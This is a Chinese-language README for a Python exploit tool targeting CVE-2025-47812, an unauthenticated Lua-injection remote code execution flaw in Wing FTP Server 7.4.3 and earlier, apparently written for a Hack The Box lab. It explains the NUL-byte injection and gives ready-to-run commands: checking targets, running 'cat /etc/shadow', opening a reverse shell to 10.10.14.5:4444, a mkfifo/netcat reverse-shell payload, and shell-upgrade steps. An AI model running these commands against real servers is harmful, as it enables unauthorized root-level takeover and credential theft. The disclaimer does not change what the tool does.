CVE-2025-47812 — Wing FTP Server 未授权 RCE（重写）

用于 Wing FTP Server ≤ 7.4.3 中未认证 Lua 注入 RCE 的 Python 漏洞利用工具。专为 Shell 投递设计——从 check 到正常工作的 netcat 回调只需一条命令。

前段时间为 HTB 上的 wingData 实验室编写，现已开源。仅用于你拥有或已获书面授权测试的系统。

致谢

• 漏洞研究： Julien (@MrTuxracer) — What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
• 原始 PoC： @4m3rr0r — github.com/4m3rr0r/CVE-2025-47812-poc
• 本仓库： 对上述 PoC 的重写，功能稍强且更易用。

漏洞概要

Wing FTP 的 c_CheckUser() 会在第一个 NULL 字节处截断 username 用于认证，但会话创建路径会将完整未净化的用户名写入 Lua 会话文件。注入 anonymous%00]]<lua>--，服务器便会愉快地将你的 Lua 代码写入会话。访问任意需要认证的端点（dir.html 可行）会通过 loadfile() → f() 加载该会话文件，并以 root / SYSTEM 权限执行注入代码。

受影响版本：Wing FTP Server ≤ 7.4.3。在 7.4.4 中修复。

安装

pip install requests

仅此而已——无其他依赖。

用法

# 1. 确认目标存在漏洞（执行 `id` 并检查 `uid=`）
python3 exploit.py -u http://target:5466/ check

# 2. 单次命令执行——捕获标准输出和标准错误
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"

# 3. 反弹 Shell（简单方式）
#    终端 1：
nc -lvnp 4444
#    终端 2：
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444

# 4. 分离的任意载荷——发送后即忘。当 bash 缺失时很有用：
python3 exploit.py -u http://target:5466/ detached \
  "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"

参数

提示

• 先确认端口。Web 界面默认不在 80 端口——在浏览器中尝试 http://target:5466/login.html，然后再假设 URL 错误。
• 如果 shell 模式未成功建立回调，请回退到 detached 模式并使用上面的 mkfifo 载荷。某些精简 Linux 镜像未自带 bash。
• 捕获到 Shell 后升级它：
  root@kitploit:~

  python3 -c 'import pty;pty.spawn("/bin/bash")'
  # Ctrl+Z
  stty raw -echo; fg
  # 回车，回车
  export TERM=xterm
  

免责声明

仅供教育和授权安全测试使用。你需对你指向的目标负责。

许可证

MIT — 参见 LICENSE。